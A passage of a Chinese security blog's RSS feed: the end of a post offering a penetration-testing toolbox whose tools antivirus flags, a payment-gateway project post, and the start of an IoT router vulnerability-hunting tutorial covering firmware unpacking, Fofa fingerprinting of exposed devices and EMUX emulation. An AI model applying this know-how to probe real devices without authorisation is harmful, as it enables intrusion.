        toast.classList.remove('show');
        setTimeout(() =&gt; toast.remove(), 500);
    };
    toast.appendChild(closeButton);

    toastContainer.appendChild(toast);
    setTimeout(() =&gt; toast.classList.add('show'), 80);

    setTimeout(() =&gt; {
        toast.classList.remove('show');
        setTimeout(() =&gt; toast.remove(), 400);
    }, duration);
}</code></pre>
<p>showToast("⚡ <span class='highlight-green'>史诗级 AI 版本更新公告</span>，<span class='highlight-purple'>次元剑 v1.0.9 已正式上线</span>，受外部条件限制，当前 AI 智能体暂时使用 Claude Code 驱动，自研引擎将在 v1.1.0 Beta 版本更新上线。", 10000);</p>
</script>
!!!
<h2>版本更新</h2>
<p>{collapse}
{collapse-item label="📜 历史记录" close}
{timeline}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2023-8-31"}
📦 更新内容：
版本：1.0.0<br />
🛠️【技术】基于 Node.js、HTML/CSS、JS、Electron 构建
🚀【新增】初代固定布局，包含主页、工具、ChatGPT、关于四大模块
🚀【新增】复古圆角按钮，打造独特UI风格
💪【优化】初步优化代码逻辑，项目持续迭代
工具数量：62<br />
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2024-6-16"}
📦 更新内容：
版本：1.0.1<br />
🚀【新增】全新固定式UI布局，圆角按钮更简约现代
🚀【新增】支持外部工具自定义，采用ToolsList.xml管理
🚀【新增】优化双剑动画，界面更流畅美观
🚀【新增】新增逆向与渗透常用工具，拓展实用性
💪【优化】重构代码逻辑，提升稳定性与可维护性
工具数量：85<br />
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2024-7-15"}
📦 更新内容：
版本：1.0.2<br />
🚀【新增】集成Frida IDE，支持独立编辑窗口，优化调试体验
🚀【新增】自定义工具管理，通过ToolsList.xml灵活配置
🚀【新增】水墨风Logo动画，提升开场视觉感
工具数量：98<br />
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2024-11-10"}
📦 更新内容：
版本：1.0.3-stable<br />
🚀【新增】F1 快捷键快速隐藏/显示窗口
🚀【新增】可关水墨开场动画，配置存入 ToolsList.xml
🚀【新增】集成 Java、Python 脚本，支持一键 .bat 启动
💪【优化】美化 Frida IDE 界面，支持拖拽代码注入
💪【优化】兼容绝对路径配置，提升 ToolsList.xml 可用性
🐞【修复】修复 Frida 权限不足，精简冗余逻辑
🚀【新增】Frida IDE 快捷键：</p>
<table>
<thead>
<tr>
<th style="text-align: center;">快捷键</th>
<th style="text-align: center;">功能说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center;">CTRL + +</td>
<td style="text-align: center;">代码字体放大</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + -</td>
<td style="text-align: center;">代码字体缩小</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + ALT + F</td>
<td style="text-align: center;">代码缩进</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + /</td>
<td style="text-align: center;">代码注释</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + F</td>
<td style="text-align: center;">快速搜索</td>
</tr>
</tbody>
</table>
<p>工具数量：98<br />
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2024-11-23"}
📦 更新内容：
版本：1.0.4<br />
🚀【新增】新增逆向分析与渗透测试工具，功能更全面
🚀【新增】新增设置面板，支持动画、主题、版本更新
💪【优化】优化UI与视觉效果，精简代码
💪【优化】移除启动动画XML配置，提升启动稳定性
🐞【修复】修复Frida注入报错0x00000057问题
🚀【新增】Frida IDE快捷键增强：</p>
<table>
<thead>
<tr>
<th style="text-align: center;">快捷键</th>
<th style="text-align: center;">功能说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center;">CTRL + +</td>
<td style="text-align: center;">代码字体放大</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + -</td>
<td style="text-align: center;">代码字体缩小</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + ALT + F</td>
<td style="text-align: center;">代码缩进</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + /</td>
<td style="text-align: center;">代码注释</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + F</td>
<td style="text-align: center;">快速搜索</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + H</td>
<td style="text-align: center;">快速替换</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + L</td>
<td style="text-align: center;">代码定位</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + D</td>
<td style="text-align: center;">按行删除</td>
</tr>
<tr>
<td style="text-align: center;">CTRL + ,</td>
<td style="text-align: center;">设置面板</td>
</tr>
<tr>
<td style="text-align: center;">ALT + E</td>
<td style="text-align: center;">代码自检</td>
</tr>
</tbody>
</table>
<p>工具数量：100<br />
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2025-3-31"}
📦 更新内容：
版本：1.0.5<br />
🚀【新增】清理无效工具，替换为实用工具
🚀【新增】工具右键支持打开程序位置
🚀【新增】CheckTools 模块，校验工具完整性
🚀【新增】集成运行环境，工具即点即用
💪【优化】优化 UI 与性能，精简冗余逻辑
🐞【修复】修复拖拽异常，增强 UAC 权限兼容
工具数量：99<br />
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2025-8-5"}
📦 更新内容：
版本：1.0.6 Beta<br />
🚀【新增】全面重构代码，统一目录规范，提升稳定性
🚀【新增】精简无用工具，新增实用常用工具
🚀【新增】右键菜单：打开位置、管理员运行
🚀【新增】集成 DeepSeek R1 AI，智能生成 Frida Hook 代码
🚀【新增】支持窗口拉伸，适配多分辨率
💪【优化】优化UI细节，界面更清爽统一
💪【优化】清理冗余代码，程序更轻巧流畅
🐞【修复】修复已知Bug，提升兼容与稳定性
🐞【修复】优化UAC提权逻辑，适配更多环境
🐞【修复】修复部分工具拖拽异常
工具数量：100+
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2026-1-7"}
📦 更新内容：
版本：1.0.7
🚀【新增】次元剑动漫风格Logo主题，适配启动/主界面视觉
💪【优化】清理冗余代码依赖，程序轻量化，运行更流畅
💪【优化】精简工具库，保留常用工具，提升查找调用效率
🐞【修复】修复已知问题，优化整体使用体验
工具数量：100+
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#19be6b"}
{card-describe title="2026-04-1"}
📦 更新内容：
版本：1.0.8
🚀【新增】支持 MCP 协议，联动 Trae 实现 AI 上下文交互
🚀【新增】右键增删工具、长按批量删除、主题切换
🚀【新增】支持添加工具，并在工具箱内自由拖拽摆放
🚀【新增】输入框 Ctrl+Enter 快捷提问 AI、随机一言
🚀【新增】工具箱启动提示更新，支持在线升级版本
💪【优化】Frida IDE 代码高亮与提示性能
💪【优化】重构代码，优化 UI 展示
工具数量：100+
{/card-describe}
{/timeline-item}</p>
<p>{timeline-item color="#ff0000"}
{card-describe title="2026-06-28"}
📦 更新内容：
版本：1.0.9
🚀【新增】AI 智能体，暂时集成 Claude Code + DeepSeek V4 Pro/Flash
🚀【新增】终端工具栏，Skills 安装、提示词、MCP 面板、安全模式
🚀【新增】CTF 全栈 skills（Web/PWN/Reverse 等 8 大类）+ 自动 Writeup
🚀【新增】.NET + PHP 代码审计管线，30+ 审计 skill
🚀【新增】内置 16 个 CLI 安全工具，AI 自动感知并优先调用
🚀【新增】MCP 多语言运行时：Python / Java / C 在线编译执行
🚀【新增】Agent 侧边面板，实时日志 + 权限弹窗 + 调用追踪
💪【优化】精简 MCP 工具，移除冗余 I/O 接口，统一 CLI 直调
💪【优化】重构主进程架构，统一无边框透明窗口体系
💪【优化】5 套主题一键切换（起源/命运/紫雅/灵梦）
💪【优化】启动动画可配置，全局快捷键，版本自动检测更新
工具数量：100
{/card-describe}
{/timeline-item}</p>
<p>{/timeline}
{/collapse-item}
{/collapse}</p>
<h2>工具下载</h2>
<p>{tabs}
{tabs-pane label="工具下载"}
!!!</p>
<style>
.meta-container {
  max-width: 780px;
  margin: 30px auto;
  padding: 40px 30px;
  background-color: #fff;
  border: 1px solid #e5e7eb;
  border-radius: 18px;
  box-shadow: 0 6px 20px rgba(0, 0, 0, 0.05);
  font-family: 'Inter', 'Segoe UI', sans-serif;
}
<p>.meta-header {
display: flex;
justify-content: center;
margin-bottom: 18px;
}</p>
<p>.meta-logo-group {
display: flex;
align-items: center;
}</p>
<p>.meta-logo {
height: 56px;
margin-right: 12px;
}</p>
<p>.meta-title-group {
display: flex;
flex-direction: column;
justify-content: center;
}</p>
<p>.meta-title {
font-size: 24px;
font-weight: 700;
color: #111;
letter-spacing: 3px;
line-height: 1;
margin-left: 30px;
}</p>
<p>.meta-subtitle {
font-size: 14px;
color: #888;
line-height: 1.4;
margin-top: 3px;
}</p>
<p>.meta-warning {
text-align: center;
font-size: 15px;
color: #555;
margin-bottom: 35px;
}</p>
<p>.link-list {
display: flex;
flex-direction: column;
gap: 14px;
}</p>
<p>.link-block {
display: flex;
align-items: center;
padding: 14px 20px;
border-radius: 12px;
background-color: #f3f4f6;
text-decoration: none;
color: #111;
font-weight: 500;
transition: background-color 0.2s ease;
}</p>
<p>.link-block:hover {
background-color: #e5e7eb;
}</p>
<p>.link-icon {
width: 20px;
height: 20px;
margin-right: 12px;
flex-shrink: 0;
}</p>
<p>.link-code {
background: #eee;
padding: 2px 6px;
border-radius: 4px;
}</p>
</style>
<div class="meta-container">
  <div class="meta-header">
    <div class="meta-logo-group">
      <img src="https://www.52tt.pro/image/meta.png" alt="Logo" class="meta-logo" />
      <div class="meta-title-group">
        <div class="meta-title">次 元 剑</div>
        <div class="meta-subtitle">MetaSword Toolbox v1.0.9</div>
      </div>
    </div>
  </div>
  <p class="meta-warning">个别工具可能被安全软件误报，不放心可在虚拟机中使用。</p>
  <div class="link-list">
    <a class="link-block" href="https://pan.baidu.com/s/1-ZGk6gdOZf5dUcIfxLx55g?pwd=2085" target="_blank">
      <img src="https://nd-static.bdstatic.com/m-static/v20-main/favicon-main.ico" class="link-icon" alt="百度网盘"/>
      【百度网盘】次元剑完整版｜版本 1.0.9（2026.6.28）｜提取码：
      <span class="link-code">2085</span>
    </a>
    <a class="link-block" href="https://115cdn.com/s/swssb1k3hf3?password=z075" target="_blank">
      <img src="https://115.com/favicon.ico" class="link-icon" alt="115网盘"/>
      【115网盘】次元剑完整版｜版本 1.0.9（2026.6.28）｜提取码：
      <span class="link-code">z075</span>
    </a>
    <a class="link-block" href="https://pan.quark.cn/s/5318f13b9131" target="_blank">
      <img src="https://pan.quark.cn/favicon.ico" class="link-icon" alt="夸克网盘"/>
      【夸克网盘】次元剑完整版｜版本 1.0.9（2026.6.28）｜提取码：
      <span class="link-code">无</span>
    </a>
<a class="link-block" href="https://github.com/soevai/MetaSword" target="_blank">
  <svg style="width: 20px; height: 20px; fill: currentColor; margin-right: 12px;" viewBox="0 0 24 24" aria-hidden="true">
    <path d="M12 0.297c-6.63 0-12 5.373-12 12 0 5.302 
    3.438 9.8 8.205 11.387.6.113.82-.258.82-.577 
    0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61-.546-1.387-1.333-1.757-1.333-1.757-1.09-.745.084-.729.084-.729 
    1.205.084 1.84 1.236 1.84 1.236 1.07 1.835 2.807 
    1.305 3.495.998.108-.776.418-1.305.762-1.605-2.665-.3-5.467-1.334-5.467-5.933 
    0-1.31.468-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 
    0 0 1.005-.322 3.3 1.23a11.52 11.52 0 013.003-.404c1.02.005 2.045.138 
    3.003.404 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 
    3.176.765.84 1.23 1.91 1.23 3.22 
    0 4.61-2.807 5.625-5.48 5.92.429.372.823 1.103.823 2.222 
    0 1.606-.015 2.898-.015 3.293 
    0 .315.21.694.825.576C20.565 22.092 24 17.592 
    24 12.297c0-6.627-5.373-12-12-12z"/>
  </svg>
  【GitHub】MetaSword 源码仓库｜仅包含基础源码，不包含工具
  </a>
  </div>
</div>
!!!
<p>{message type="info" content="请确保次元剑安装路径不含中文字符，避免一些工具无法使用。"/}</p>
<p>错误示例：D:\VoxShadow\次元剑\MetaSword<br />
正确示例：D:\VoxShadow\MetaSword</p>
<p>{/tabs-pane}
{tabs-pane label="报毒说明"}</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/01/1100572622.png" alt="mk3slkft.png" /></p>
<p>可疑类型：后门、黑客工具、代码混淆器、木马、漏洞攻击、下载者、间谍、勒索。
已完成威胁处置，当前仅剩 101 个低风险可疑文件，初步判断不影响电脑正常使用。
{/tabs-pane}
{/tabs}</p>
<ul>
<li>工具箱有任何建议或问题，可在 GitHub 提交 Issue，欢迎 Star 支持。</li>
<li>定期更新次元剑内工具使用技巧，更多内容请关注：<a href="https://space.bilibili.com/84500837">B站</a> | <a href="https://www.douyin.com/user/MS4wLjABAAAAEXkGrpP2B10xZVeIgmllfSDmXgaHq8l8phh8evbNjYMD_jKA0eTbCeFz_q9QHCV8">抖音</a> 账号。</li>
<li>视频中用到的部分Hook代码，仅供参考：<a href="https://www.52tt.pro/index.php/archives/1517/">Frida Hook篇</a></li>
</ul>
<h2>友情赞助</h2>
<p>!!!</p>
<style>
  .donate-modern {
    max-width: 720px;
    margin: 0px auto;
    border-radius: 20px;
    background-color: #fff;
    text-align: center;
  }
<p>.donate-modern h2 {
font-size: 22px;
font-weight: 600;
color: #111;
margin-bottom: 8px;
}</p>
<p>.donate-modern p {
font-size: 14px;
color: #666;
}</p>
<p>.donate-qrcodes {
display: flex;
justify-content: center;
gap: 40px;
flex-wrap: wrap;
}</p>
<p>.donate-card {
width: 200px;
border-radius: 16px;
padding: 16px;
transition: all 0.2s ease;
}</p>
<p>.donate-card img {
width: 100%;
border-radius: 12px;
margin-bottom: 10px;
border: 1px solid #eee;
}</p>
<p>.donate-card span {
font-size: 14px;
color: #333;
font-weight: 500;
}</p>
</style>
<div class="donate-modern">
  <p>如果你觉得这个项目还不错，欢迎扫码支持一下 ❤️</p>
<div class="donate-qrcodes">
    <div class="donate-card">
      <img src="https://www.52tt.pro/usr/uploads/2025/03/3824621005.png" alt="微信支付">
    </div>
    <div class="donate-card">
      <img src="https://www.52tt.pro/usr/uploads/2025/03/573760633.png" alt="支付宝">
    </div>
  </div>
</div>
!!!
<p>开源不易，维护更难！如果次元剑对你有帮助，欢迎给点小小的支持~ 💖
你的认可和鼓励，就是我持续优化更新的动力！感谢陪伴，一起成长！✨</p>
<h2>免责声明</h2>
<p>本工具箱仅供学习与研究使用，旨在帮助用户提升技术能力，
请勿将其用于非法用途，否则产生后果由使用者自行承担，
作者不对任何滥用行为负责，敬请理性使用，遵守法律法规。</p>
<p><code>2026-6-27 20:20 星期六 更新过</code></p>
]]></content:encoded>
<slash:comments>68</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/1409/#comments</comments>
</item>
<item>
<title>【工具分享】V免签支付 + vPay 自动发卡系统</title>
<link>https://www.52tt.pro/index.php/archives/2206/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/2206/</guid>
<pubDate>Sun, 05 Jul 2026 10:49:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[Windows]]></category>
<category><![CDATA[Android]]></category>
<description><![CDATA[## 简介
V免签 是一款私有支付网关，配合 Android 手机监听微信/支付宝到账通知，无需企业资质即可接入支付。
vPay 发卡 是本人从零开发的 PHP 原生虚拟商品自动售卡系统。
两者独立开源，支持微信支付宝收款、可组合使用，部署后即可搭建一套完...]]></description>
<content:encoded><![CDATA[
<h2>简介</h2>
<p><strong>V免签</strong> 是一款私有支付网关，配合 Android 手机监听微信/支付宝到账通知，无需企业资质即可接入支付。
<strong>vPay 发卡</strong> 是本人从零开发的 PHP 原生虚拟商品自动售卡系统。
两者独立开源，支持<code>微信支付宝收款</code>、可组合使用，部署后即可搭建一套完整的自动发卡平台。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/07/1750647644.png" alt="mrditlr9.png" /></p>
<p><strong>工作流程：</strong> 
买家下单 → vPay 展示二维码 → 买家扫码支付 → V免签 Android 端监听到账 → 回调 vPay → vPay 自动匹配订单、扣减库存、发送卡密邮件。</p>
<hr />
<h2>V免签 (vmq)</h2>
<p>基于 ThinkPHP 5.1 的免签支付回调服务端。配合 Android 监控端，通过辅助功能监听微信和支付宝通知栏，检测到账后推送至服务端完成订单匹配与回调，一台旧安卓手机即可作为私有支付网关。</p>
<h4>网站后台</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2026/07/691973257.png" alt="mrdhn3t1.png" /></p>
<p>本项目基于 <a href="https://github.com/szvone/vmqphp">szvone/vmqphp</a> 重写，主要改进：</p>
<p><strong>安全修复（9 项）</strong></p>
<ul>
<li>SQL 注入：字符串拼接改为 PDO 参数化查询</li>
<li>SSRF：CURL 出站增加内网 IP 黑名单校验，禁用重定向跟随</li>
<li>XSS：<code>param</code> 参数增加 <code>htmlspecialchars()</code> 过滤</li>
<li>订单号注入：正则限制 <code>[a-zA-Z0-9_-]</code>，最长 100 字符</li>
<li>存储型 XSS：回调 URL 写入前 <code>FILTER_SANITIZE_URL</code></li>
<li>调试模式：<code>app_debug = false</code></li>
<li>硬编码密钥：示例代码改为从数据库动态读取</li>
<li>远程代码风险：移除 <code>checkUpdate()</code> 外部拉取逻辑</li>
<li>CDN 供应链：jQuery、Vue 等前端资源全部本地化</li>
</ul>
<p><strong>功能改进</strong></p>
<ul>
<li>支持子目录部署，APK 扫码自动识别路径</li>
<li>支付页重写，骨架屏加载 + 中英文切换</li>
<li>系统运行时间改为数据库记录，跨平台通用</li>
<li>APK 安装包内置在后台，可直接下载</li>
</ul>
<p>{abtn icon="fa-github" color="#000000" href="<a href="https://github.com/soevai/vmq">https://github.com/soevai/vmq</a>" radius="" content="Github - vmq | 点击进入" /}  {abtn icon="fa-book" color="#e10000" href="<a href="https://www.52tt.pro/repo/vmq/">https://www.52tt.pro/repo/vmq/</a>" radius="" content="在线 Demo 体验 | 点击进入"/} </p>
<hr />
<h2>vPay 发卡 (vPayFaka)</h2>
<h4>网站首页</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2026/07/2358229605.png" alt="mrdhnriy.png" /></p>
<h4>收款弹窗</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2026/07/2693226384.png" alt="mrdhuy8i.png" /></p>
<p>从零构建的 PHP 原生虚拟商品发卡系统，对接 V免签支付。零外部依赖——没有 composer、没有 npm、没有 CDN，文件上传到服务器即可运行，全栈自研，不基于任何现有框架或项目。</p>
<p><strong>主要特性</strong></p>
<ul>
<li>商品管理：支持分类、多规格 SKU、库存自动统计</li>
<li>自动发卡：<code>SELECT ... FOR UPDATE</code> 行级锁 + 事务，杜绝并发超卖</li>
<li>一键安装：首次访问自动跳转安装向导，建库建表写配置</li>
<li>邮件通知：支持 SMTP 直发和自定义 API（HMAC-SHA256 签名）</li>
<li>超时取消：超时未支付自动取消并返还库存</li>
</ul>
<p><strong>安全措施</strong></p>
<ul>
<li>密码：bcrypt 哈希存储</li>
<li>CSRF：<code>random_bytes(32)</code> 令牌 + <code>hash_equals</code> 常量时间比对</li>
<li>SQL 注入：全 PDO 预处理 + 参数绑定</li>
<li>回调校验：MD5 签名 + 300 秒时间戳窗口 + Nonce 文件去重</li>
<li>频率限制：登录失败 5 次锁 3 分钟，购买每 IP 每小时 5 次</li>
<li>HTTP 安全头：CSP、X-Frame-Options、X-Content-Type-Options</li>
</ul>
<p>{abtn icon="fa-github" color="#000000" href="<a href="https://github.com/soevai/vPayFaka">https://github.com/soevai/vPayFaka</a>" radius="" content="Github - vPayFaka | 点击进入" /}  {abtn icon="fa-book" color="#e10000" href="<a href="https://www.52tt.pro/repo/vpay/">https://www.52tt.pro/repo/vpay/</a>" radius="" content="在线 Demo 体验 | 点击进入"/} </p>
<hr />
<h4>协同方式</h4>
<p>两个项目独立开源，可单独或组合使用，对接只需在 vPay 后台填入 V免签的服务端地址和通讯密钥。
V免签（监听收款）→ notify.php 回调 → vPay 发卡（匹配订单、提取卡密、发送邮件）
详细的 API 文档、数据库结构、部署步骤和定时任务配置见各项目 GitHub README。</p>
<hr />
<h2>免责声明</h2>
<p>两个项目均为开源学习用途，请勿用于任何违法违规场景，使用者自行承担相应责任。</p>
]]></content:encoded>
<slash:comments>0</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/2206/#comments</comments>
</item>
<item>
<title>【技术分享】IoT 安全 白盒视角下的漏洞挖掘</title>
<link>https://www.52tt.pro/index.php/archives/2175/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/2175/</guid>
<pubDate>Sat, 11 Apr 2026 14:09:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[技术分享]]></category>
<category><![CDATA[Linux]]></category>
<category><![CDATA[二进制安全]]></category>
<category><![CDATA[漏洞挖掘]]></category>
<category><![CDATA[IoT安全]]></category>
<description><![CDATA[## 留言
记录一次 "低门槛" 路由器漏洞挖掘，流程简单清晰，就像在漏洞靶场里通关一样。
本来不太想写，毕竟难度很低、含金量一般，水了几张证书，随手记录一下吧。
浅谈 IoT 漏洞挖掘
市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 Io...]]></description>
<content:encoded><![CDATA[
<h2>留言</h2>
<p>记录一次 "低门槛" 路由器漏洞挖掘，流程简单清晰，就像在漏洞靶场里通关一样。
本来不太想写，毕竟难度很低、含金量一般，水了几张证书，随手记录一下吧。</p>
<h4>浅谈 IoT 漏洞挖掘</h4>
<p>市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备，这类设备普遍开发成本低、安全意识薄弱，代码写得比较随意，防护机制简陋，是漏洞高发重灾区。</p>
<hr />
<p>不同于互联网网站漏洞，IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开，门槛有高有低。入门玩法不用精通高深逆向，靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞，上手快、出洞效率高，很适合新手练手攒成果。</p>
<hr />
<p>而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设，很容易挖到栈溢出、权限绕过这类经典漏洞。
日常挖掘既能熟悉嵌入式设备运行逻辑，也能轻松提交漏洞平台拿证书，当作技术积累再合适不过。</p>
<hr />
<h2>寻找目标</h2>
<p>挖漏洞不难，难在找目标、搞到源码，前期核心都是信息收集。
在开始分析之前，必须先确定目标，以下是推荐的搜集方式：</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/338791871.png" alt="mnzg8d27.png" /></p>
<p>1.在购物平台找网络设备，比如：<code>路由器、摄像头</code>，然后看品牌是哪个公司的。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3899131486.png" alt="mnzg3z0j.png" /></p>
<p>2.在 Github 上找资源搜 Iot 相关的资料或者项目，这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide，记录了一些厂商链接跟相关技术文档。</p>
<p>{abtn icon="fa-github" color="#000" href="<a href="https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide">https://github.com/SecureNexusLab/IoTFirmwareAnalysisGuide</a>" radius="" content="IoTFirmwareAnalysisGuide"/} </p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/204513562.png" alt="mnzgkovg.png" /></p>
<p>3.看 CVE、CNVD、NCC 等漏洞库，搜 <code>路由器、IoT、固件</code> 关键词，找已公开漏洞的型号或公司。</p>
<h2>固件提取</h2>
<p>找到目标后，一般官网上都有路由器升级固件，如果没有就找台设备 <code>升级固件</code> 然后抓包下载。
当然还有其他办法，可以看推荐的那个 <code>IoTFirmwareAnalysisGuide</code> 项目里有写。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1881418973.png" alt="mnzn4uiv.png" /></p>
<p>基本流程：下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。
部分固件会加密，无法直接解包，可通过旧版固件逆向解密算法。
或从设备中 dump 密钥与明文固件，也能在 <code>GitHub</code> 找解密脚本。</p>
<pre><code class="language-bash">binwalk -Me 固件文件 --run-as=root</code></pre>
<p>再提供个在线固件解包网站。</p>
<p>{abtn icon="fa-bandcamp" color="#000" href="<a href="https://zhiwanyuzhou.com/multiple_analyse/firmware/">https://zhiwanyuzhou.com/multiple_analyse/firmware/</a>" radius="" content="在线固件解包"/} </p>
<h4>固件加密</h4>
<p>怎么判断一个固件是否加密呢？</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/735912760.png" alt="mo0s4bvz.png" /></p>
<pre><code class="language-bash">binwalk -E 固件文件 --run-as=root</code></pre>
<p>这里用 <code>腾达AX</code> 系列路由器举例，<code>binwalk -E</code> 跑一下固件，熵值全程快接近 <code>1.0</code>，那这固件就是加密或者强压缩，直接解包肯定解不开。
固件实在解不了密，不一定非要做白盒审计，黑盒测也完全够用。
直接用万能的 <code>Fuzz</code> 对着接口一顿乱塞数据，也能挖出漏洞。</p>
<h2>互联网资产</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/2029149247.png" alt="mnzhdire.png" /></p>
<p>一般解包后，我做的第一件事，是先确定指纹，很简单解包里会有前端代码，我一般就搜 <code>.html、.icon、.png</code> 直接上传 Fofa 找 icon 图标的 hash，或者 <code>body、title</code> 关键字。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/3373614194.png" alt="mnzhk7wy.png" /></p>
<p>有的设备在互联网压根就没资产，就纯内网使用，如果说想挖 <code>CNVD/CNNVD/NCC</code> 拿证书的话。
找不到资产那就以<code>漏洞情报</code>的方式提交，不用找资产，<code>只要本地复现 + 完整技术证明</code> 审核通过就发证书。</p>
<h2>固件仿真</h2>
<p>我比较推荐使用 <code>qemu、emux</code> 这类工具。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/4220955846.png" alt="mnzidsjz.png" /></p>
<p>{abtn icon="fa-github" color="#000" href="<a href="https://github.com/therealsaumil/emux">https://github.com/therealsaumil/emux</a>" radius="" content="EMUX"/} </p>
<p>目前能完整仿真起来的设备并不算多，完整固件仿真难度普遍较高，或者买个路由器挖（滑稽）
很多情况下还需要修改程序逻辑、打补丁才能正常运行。
最推荐方式：<code>qemu</code> 单个程序测试（这也是常见的IoT漏洞挖掘方式）</p>
<h4>EMUX 完整运行</h4>
<p>先把 EMUX 项目下载到本地，比较推荐用 <code>Kali Linux</code> 安装前需要确认 <code>docker</code> 是否能正常运行。</p>
<pre><code class="language-bash">git clone --depth 1 --single-branch  https://github.com/therealsaumil/emux.git</code></pre>
<p>如果下载慢，可以自己挂代理，到 Github 上下载项目源码，然后解压执行以下命令。</p>
<pre><code class="language-bash">cd emux
./build-emux-volume
./build-emux-docker</code></pre>
<p>安装完成后就能使用了，EMUX 目录结构：</p>
<pre><code class="language-bash">C:.
├─docs              # 文档、说明与截图存放目录
│  └─img            # 文章/报告所用图片
├─files             # emux 运行相关文件总目录
│  ├─emux           # emux 固件仿真环境核心目录
│  │  ├─firmware    # 待仿真固件存放目录，按设备型号分类
│  │  │  ├─AC15     # 路由器 AC15 固件相关
│  │  │  │  ├─flashmem
│  │  │  │  ├─kernel
│  │  │  │  └─preload
│  │  │  ├─ARCHERC9
│  │  │  │  ├─kernel
│  │  │  │  └─preload
│  │  │  ├─DCS935L       # 摄像头 DCS935L 固件
│  │  │  │  └─kernel
│  │  │  ├─DIR615C       # DIR615C 路由器固件
│  │  │  │  └─kernel
│  │  │  ├─DV-ARM        # ARM 架构调试固件
│  │  │  │  └─kernel
│  │  │  ├─DV-MIPSEB     # MIPS 大端调试固件
│  │  │  │  └─kernel
│  │  │  ├─DV-MIPSEL     # MIPS 小端调试固件
│  │  │  │  └─kernel
│  │  │  ├─PH0WNCTF      # CTF IoT 题目固件
│  │  │  │  └─kernel
│  │  │  └─TRI227WF      # 路由器 TRI227WF 固件
│  │  │      └─kernel
│  │  ├─hostfs       # 与仿真系统共享的文件系统
│  │  ├─run          # 仿真启动脚本、运行日志
│  │  └─template     # 通用仿真模板（内核、预加载配置）
│  │      ├─kernel
│  │      └─preload
│  ├─etc              # 系统及工具配置
│  │  ├─local.d
│  │  └─tinyproxy     # 代理配置
│  └─home
│      └─r0           # 调试用户环境
│          ├─config
│          │  └─pip
│          ├─dircolors
│          ├─gef      # GDB-GEF 调试环境配置
│          └─ssh
└─workspace           # 个人工作目录，用于漏洞分析、脚本编写</code></pre>
<p>EMUX 默认自带了固件在 <code>firmware</code> 文件夹里，我们需要注意的就是这个，下载的固件解包后都要放到这里面。
可以参考它自带的固件模板，然后配置下 <code>firmware</code> 文件夹里的 <code>devices</code> 就行。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1229332718.png" alt="mnzpcoxn.png" /></p>
<p>这里我以 <code>BL‑CPE450H</code> 固件为例（已通过binwalk解包）。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/04/1950754382.png" alt="mnzpn6y5.png" /></p>
<p>在固件目录下创建 <code>config、nvram.ini</code> 及 <code>kernel</code> 文件夹，内容如下：</p>
<pre><code class="language-bash"># config 配置

# Tinysploit MIPSEL 仿真配置
id=firmware/BL-CPE450H        # 固件型号与路径
#nvram=nvram.ini              # NVRAM配置（未启用）
rootfs=cpio-root              # 指定根文件系统
randomize_va_space=0          # 关闭ASLR，便于漏洞调试
legacy_va_layout=1            # 兼容旧设备内存布局
mount_dev_tree=1              # 挂载/dev设备目录
mount_proc=1                  # 挂载/proc进程目录
mount_sys=1                   # 挂载/sys系统目录
